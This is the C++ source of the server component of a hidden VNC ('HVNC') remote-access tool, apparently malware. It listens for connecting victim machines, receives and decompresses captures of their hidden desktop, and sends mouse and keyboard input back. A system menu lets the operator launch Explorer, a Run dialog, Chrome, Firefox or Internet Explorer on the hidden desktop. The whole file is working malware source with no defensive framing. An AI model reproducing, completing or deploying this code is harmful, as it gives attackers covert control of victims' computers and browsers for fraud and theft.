HVNC/Server/Server.cpp

560 lines
16 KiB
C++

#include "Server.h"
typedef NTSTATUS (NTAPI *T_RtlDecompressBuffer)
(
USHORT CompressionFormat,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalUncompressedSize
);
static T_RtlDecompressBuffer pRtlDecompressBuffer;
enum Connection { desktop, input, end };
struct Client
{
SOCKET connections[Connection::end];
DWORD uhid;
HWND hWnd;
BYTE *pixels;
DWORD pixelsWidth, pixelsHeight;
DWORD screenWidth, screenHeight;
HDC hDcBmp;
HANDLE minEvent;
BOOL fullScreen;
RECT windowedRect;
};
static const COLORREF gc_trans = RGB(255, 174, 201);
static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 };
static const DWORD gc_maxClients = 256;
static const DWORD gc_sleepNotRecvPixels = 33;
static const DWORD gc_minWindowWidth = 800;
static const DWORD gc_minWindowHeight = 600;
enum SysMenuIds { fullScreen = 101, startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore };
static Client g_clients[gc_maxClients];
static CRITICAL_SECTION g_critSec;
static Client *GetClient(void *data, BOOL uhid)
{
for(int i = 0; i < gc_maxClients; ++i)
{
if(uhid)
{
if(g_clients[i].uhid == (DWORD) data)
return &g_clients[i];
}
else
{
if(g_clients[i].hWnd == (HWND) data)
return &g_clients[i];
}
}
return NULL;
}
int SendInt(SOCKET s, int i)
{
return send(s, (char *) &i, sizeof(i), 0);
}
static BOOL SendInput(SOCKET s, UINT msg, WPARAM wParam, LPARAM lParam)
{
if(SendInt(s, msg) <= 0)
return FALSE;
if(SendInt(s, wParam) <= 0)
return FALSE;
if(SendInt(s, lParam) <= 0)
return FALSE;
return TRUE;
}
static void ToggleFullscreen(HWND hWnd, Client *client)
{
if(!client->fullScreen)
{
RECT rect;
GetWindowRect(hWnd, &rect);
client->windowedRect = rect;
GetWindowRect(GetDesktopWindow(), &rect);
SetWindowLong(hWnd, GWL_STYLE, WS_POPUP | WS_VISIBLE);
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, rect.right, rect.bottom, SWP_SHOWWINDOW);
}
else
{
SetWindowLong(hWnd, GWL_STYLE, WS_OVERLAPPEDWINDOW | WS_VISIBLE);
SetWindowPos(hWnd,
HWND_NOTOPMOST,
client->windowedRect.left,
client->windowedRect.top,
client->windowedRect.left - client->windowedRect.right,
client->windowedRect.bottom - client->windowedRect.top,
SWP_SHOWWINDOW);
}
client->fullScreen = !client->fullScreen;
}
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
Client *client = GetClient(hWnd, FALSE);
switch(msg)
{
case WM_CREATE:
{
HMENU hSysMenu = GetSystemMenu(hWnd, false);
AppendMenu(hSysMenu, MF_SEPARATOR, 0, NULL);
//AppendMenu(hSysMenu, MF_STRING, SysMenuIds::fullScreen, TEXT("&Fullscreen"));
AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startExplorer, TEXT("Start Explorer"));
AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startRun, TEXT("&Run..."));
AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startChrome, TEXT("Start Chrome"));
AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startFirefox, TEXT("Start Firefox"));
AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startIexplore, TEXT("Start Internet Explorer"));
break;
}
case WM_SYSCOMMAND:
{
if(wParam == SC_RESTORE)
SetEvent(client->minEvent);
/*
else if(wParam == SysMenuIds::fullScreen || (wParam == SC_KEYMENU && toupper(lParam) == 'F'))
{
ToggleFullscreen(hWnd, client);
break;
}
*/
else if(wParam == SysMenuIds::startExplorer)
{
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], SysMenuIds::startExplorer, NULL, NULL))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
else if(wParam == SysMenuIds::startRun)
{
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], SysMenuIds::startRun, NULL, NULL))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
else if(wParam == SysMenuIds::startChrome)
{
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], SysMenuIds::startChrome, NULL, NULL))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
else if(wParam == SysMenuIds::startFirefox)
{
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], SysMenuIds::startFirefox, NULL, NULL))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
else if(wParam == SysMenuIds::startIexplore)
{
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], SysMenuIds::startIexplore, NULL, NULL))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hDc = BeginPaint(hWnd, &ps);
RECT clientRect;
GetClientRect(hWnd, &clientRect);
RECT rect;
HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0));
rect.left = 0;
rect.top = 0;
rect.right = clientRect.right;
rect.bottom = clientRect.bottom;
rect.left = client->pixelsWidth;
FillRect(hDc, &rect, hBrush);
rect.left = 0;
rect.top = client->pixelsHeight;
FillRect(hDc, &rect, hBrush);
DeleteObject(hBrush);
BitBlt(hDc, 0, 0, client->pixelsWidth, client->pixelsHeight, client->hDcBmp, 0, 0, SRCCOPY);
EndPaint(hWnd, &ps);
break;
}
case WM_DESTROY:
{
PostQuitMessage(0);
break;
}
case WM_ERASEBKGND:
return TRUE;
case WM_LBUTTONDOWN:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
case WM_MBUTTONDOWN:
case WM_MBUTTONUP:
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDBLCLK:
case WM_MBUTTONDBLCLK:
case WM_MOUSEMOVE:
case WM_MOUSEWHEEL:
{
if(msg == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0)
break;
int x = GET_X_LPARAM(lParam);
int y = GET_Y_LPARAM(lParam);
float ratioX = (float) client->screenWidth / client->pixelsWidth;
float ratioY = (float) client->screenHeight / client->pixelsHeight;
x = (int) (x * ratioX);
y = (int) (y * ratioY);
lParam = MAKELPARAM(x, y);
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], msg, wParam, lParam))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
case WM_CHAR:
{
if(iscntrl(wParam))
break;
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], msg, wParam, 0))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
case WM_KEYDOWN:
case WM_KEYUP:
{
switch(wParam)
{
case VK_UP:
case VK_DOWN:
case VK_RIGHT:
case VK_LEFT:
case VK_HOME:
case VK_END:
case VK_PRIOR:
case VK_NEXT:
case VK_INSERT:
case VK_RETURN:
case VK_DELETE:
case VK_BACK:
break;
default:
return 0;
}
EnterCriticalSection(&g_critSec);
if(!SendInput(client->connections[Connection::input], msg, wParam, 0))
PostQuitMessage(0);
LeaveCriticalSection(&g_critSec);
break;
}
case WM_GETMINMAXINFO:
{
MINMAXINFO* mmi = (MINMAXINFO *) lParam;
mmi->ptMinTrackSize.x = gc_minWindowWidth;
mmi->ptMinTrackSize.y = gc_minWindowHeight;
mmi->ptMaxTrackSize.x = 1920;
mmi->ptMaxTrackSize.y = 1080;
break;
}
default:
return DefWindowProc(hWnd, msg, wParam, lParam);
}
return 0;
}
static DWORD WINAPI ClientThread(PVOID param)
{
Client *client = NULL;
SOCKET s = (SOCKET) param;
BYTE buf[sizeof(gc_magik)];
Connection connection;
DWORD uhid;
if(recv(s, (char *) buf, sizeof(gc_magik), 0) <= 0)
{
closesocket(s);
return 0;
}
if(memcmp(buf, gc_magik, sizeof(gc_magik)))
{
closesocket(s);
return 0;
}
if(recv(s, (char *) &connection, sizeof(connection), 0) <= 0)
{
closesocket(s);
return 0;
}
{
SOCKADDR_IN addr;
int addrSize;
addrSize = sizeof(addr);
getpeername(s, (SOCKADDR *) &addr, &addrSize);
uhid = addr.sin_addr.S_un.S_addr;
}
if(connection == Connection::desktop)
{
client = GetClient((void *) uhid, TRUE);
if(!client)
{
closesocket(s);
return 0;
}
client->connections[Connection::desktop] = s;
BITMAPINFO bmpInfo;
bmpInfo.bmiHeader.biSize = sizeof(bmpInfo.bmiHeader);
bmpInfo.bmiHeader.biPlanes = 1;
bmpInfo.bmiHeader.biBitCount = 24;
bmpInfo.bmiHeader.biCompression = BI_RGB;
bmpInfo.bmiHeader.biClrUsed = 0;
for(;;)
{
RECT rect;
GetClientRect(client->hWnd, &rect);
if(rect.right == 0)
{
BOOL x = ResetEvent(client->minEvent);
WaitForSingleObject(client->minEvent, 5000);
continue;
}
int realRight = (rect.right > client->screenWidth && client->screenWidth > 0) ? client->screenWidth : rect.right;
int realBottom = (rect.bottom > client->screenHeight && client->screenHeight > 0) ? client->screenHeight : rect.bottom;
if((realRight * 3) % 4)
realRight += ((realRight * 3) % 4);
if(SendInt(s, realRight) <= 0)
goto exit;
if(SendInt(s, realBottom) <= 0)
goto exit;
DWORD width;
DWORD height;
DWORD size;
BOOL recvPixels;
if(recv(s, (char *) &recvPixels, sizeof(recvPixels), 0) <= 0)
goto exit;
if(!recvPixels)
{
Sleep(gc_sleepNotRecvPixels);
continue;
}
if(recv(s, (char *) &client->screenWidth, sizeof(client->screenWidth), 0) <= 0)
goto exit;
if(recv(s, (char *) &client->screenHeight, sizeof(client->screenHeight), 0) <= 0)
goto exit;
if(recv(s, (char *) &width, sizeof(width), 0) <= 0)
goto exit;
if(recv(s, (char *) &height, sizeof(height), 0) <= 0)
goto exit;
if(recv(s, (char *) &size, sizeof(size), 0) <= 0)
goto exit;
BYTE *compressedPixels = (BYTE *) malloc(size);
int totalRead = 0;
do
{
int read = recv(s, (char *) compressedPixels + totalRead, size - totalRead, 0);
if(read <= 0)
goto exit;
totalRead += read;
} while(totalRead != size);
EnterCriticalSection(&g_critSec);
{
DWORD newPixelsSize = width * 3 * height;
BYTE *newPixels = (BYTE *) malloc(newPixelsSize);
pRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, newPixels, newPixelsSize, compressedPixels, size, &size);
free(compressedPixels);
if(client->pixels && client->pixelsWidth == width && client->pixelsHeight == height)
{
for(DWORD i = 0; i < newPixelsSize; i += 3)
{
if(newPixels[i] == GetRValue(gc_trans) &&
newPixels[i + 1] == GetGValue(gc_trans) &&
newPixels[i + 2] == GetBValue(gc_trans))
{
continue;
}
client->pixels[i] = newPixels[i];
client->pixels[i + 1] = newPixels[i + 1];
client->pixels[i + 2] = newPixels[i + 2];
}
free(newPixels);
}
else
{
free(client->pixels);
client->pixels = newPixels;
}
HDC hDc = GetDC(NULL);
HDC hDcBmp = CreateCompatibleDC(hDc);
HBITMAP hBmp;
hBmp = CreateCompatibleBitmap(hDc, width, height);
SelectObject(hDcBmp, hBmp);
bmpInfo.bmiHeader.biSizeImage = newPixelsSize;
bmpInfo.bmiHeader.biWidth = width;
bmpInfo.bmiHeader.biHeight = height;
SetDIBits(hDcBmp,
hBmp,
0,
height,
client->pixels,
&bmpInfo,
DIB_RGB_COLORS);
DeleteDC(client->hDcBmp);
client->pixelsWidth = width;
client->pixelsHeight = height;
client->hDcBmp = hDcBmp;
InvalidateRgn(client->hWnd, NULL, TRUE);
DeleteObject(hBmp);
ReleaseDC(NULL, hDc);
}
LeaveCriticalSection(&g_critSec);
if(SendInt(s, 0) <= 0)
goto exit;
}
exit:
PostMessage(client->hWnd, WM_DESTROY, NULL, NULL);
return 0;
}
else if(connection == Connection::input)
{
char ip[16];
EnterCriticalSection(&g_critSec);
{
client = GetClient((void *) uhid, TRUE);
if(client)
{
closesocket(s);
LeaveCriticalSection(&g_critSec);
return 0;
}
IN_ADDR addr;
addr.S_un.S_addr = uhid;
strcpy(ip, inet_ntoa(addr));
wprintf(TEXT("User %S connected\n"), ip);
BOOL found = FALSE;
for(int i = 0; i < gc_maxClients; ++i)
{
if(!g_clients[i].hWnd)
{
found = TRUE;
client = &g_clients[i];
}
}
if(!found)
{
wprintf(TEXT("User %S kicked max %d users\n"), ip, gc_maxClients);
closesocket(s);
return 0;
}
client->hWnd = CW_Create(uhid, gc_minWindowWidth, gc_minWindowHeight);
client->uhid = uhid;
client->connections[Connection::input] = s;
client->minEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
}
LeaveCriticalSection(&g_critSec);
SendInt(s, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
PeekMessage(&msg, NULL, WM_USER, WM_USER, PM_NOREMOVE);
TranslateMessage(&msg);
DispatchMessage(&msg);
}
EnterCriticalSection(&g_critSec);
{
wprintf(TEXT("User %S disconnected\n"), ip);
free(client->pixels);
DeleteDC(client->hDcBmp);
closesocket(client->connections[Connection::input]);
closesocket(client->connections[Connection::desktop]);
CloseHandle(client->minEvent);
memset(client, 0, sizeof(*client));
}
LeaveCriticalSection(&g_critSec);
}
return 0;
}
BOOL StartServer(int port)
{
WSADATA wsa;
SOCKET serverSocket;
sockaddr_in addr;
HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll"));
pRtlDecompressBuffer = (T_RtlDecompressBuffer) GetProcAddress(ntdll, "RtlDecompressBuffer");
InitializeCriticalSection(&g_critSec);
memset(g_clients, 0, sizeof(g_clients));
CW_Register(WndProc);
if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
return FALSE;
if((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
return FALSE;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(port);
if(bind(serverSocket, (sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR)
return FALSE;
if(listen(serverSocket, SOMAXCONN) == SOCKET_ERROR)
return FALSE;
int addrSize = sizeof(addr);
getsockname(serverSocket, (sockaddr *) &addr, &addrSize);
wprintf(TEXT("Listening on port %d\n"), ntohs(addr.sin_port));
for(;;)
{
SOCKET s;
sockaddr_in addr;
s = accept(serverSocket, (sockaddr *) &addr, &addrSize);
CreateThread(NULL, 0, ClientThread, (LPVOID) s, 0, 0);
}
}